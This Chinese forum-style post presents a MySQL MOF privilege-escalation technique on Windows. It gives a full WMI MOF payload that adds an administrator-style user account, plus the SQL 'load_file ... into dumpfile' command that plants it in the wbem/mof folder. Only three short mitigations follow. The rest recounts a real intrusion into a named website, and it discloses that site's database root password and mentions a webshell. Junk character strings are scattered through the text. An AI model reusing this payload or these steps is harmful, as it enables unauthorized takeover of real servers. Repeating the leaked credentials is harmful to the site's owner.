Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法

* w) x; t6 F8 B" k! _" ~6 R" {& i网上公开的一些利用代码:
/ t& Z. ^- w* ]" S. `# U
8 N4 X+ C+ h" h8 M4 i7 K% ]#pragma namespace(“\\\\.\\root\\subscription”)
! \/ H$ x+ i- v8 y! E# {
; C, m0 S2 M* O+ Z' Yinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
. ~2 r- o3 w* C* n; J4 J' D9 ~! v
& |$ z8 l" C  j9 C) _  H


2 [# e9 }  H0 O. ^/ L
连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
从上面代码来看得出解决办法：

4 |, O( e, G: z8 p# j$ f1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

9 e* i) Q9 q1 {2、禁止使用”WScript.Shel”组件

3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

; X8 y1 G* D' }1 h$ l# U当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

! _' J7 f3 l$ A事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
9 f: s. }2 M( q- I2 w+ I8 m
; g) L6 l' }! O但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

看懂了后就开始练手吧

http://www.webbmw.com/config/config_ucenter.php 一句话 a

$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
, H! q# z- ~) d; J; _
8 w% k: y. R# D1 g3 O0 U于是直接用菜刀开搞

上马先

2 _& S( U  l4 @2 n既然有了那些账号 之类的 于是我们就执行吧…….
8 i6 T5 Y* \" S
+ U& q, J0 p8 u# U0 V" j小小的说下
) c# m0 l& _2 `6 E; T5 Q; g
在这里第1次执行未成功        原因未知
/ x3 }7 K, y# R3 ?! j5 w
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
' |* L5 P/ T* B
#pragma namespace(“\\\\.\\root\\subscription”)

0 |3 B; y# b2 a7 X" n8 ?instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

' w7 h0 @3 d1 k8 U- m我是将文件放到C:\WINDOWS\temp\1.mof
0 L1 E; z5 O& T5 e+ o: O
* _% }  W+ j& E3 k4 [+ {1 h所以我们就改下执行的代码
& {3 x" q% i) T! S
( U' @) ]* w2 T5 z$ x7 }. tselect load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;



" x% d4 f0 R% C0 k7 j/ Q9 O但是 你会发现账号还是没有躺在那里。。

于是我就感觉蛋疼

就去一个一个去执行 但是执行到第2个 mysql时就成功了………
& D- W5 S/ j: M8 X3 f  B


/ C7 J# ?# m+ Y, s* x. Y但是其他库均不成功…
) I' |% |; ]" Z8 l* T. X2 A3 q+ G2 |
" V) [0 Y8 \& S* t; x" t: }2 }, P我就很费解呀 到底为什么不成功求大牛解答…
: t4 g3 X( F, Q
! B) K. P: l# y( {5 s' C​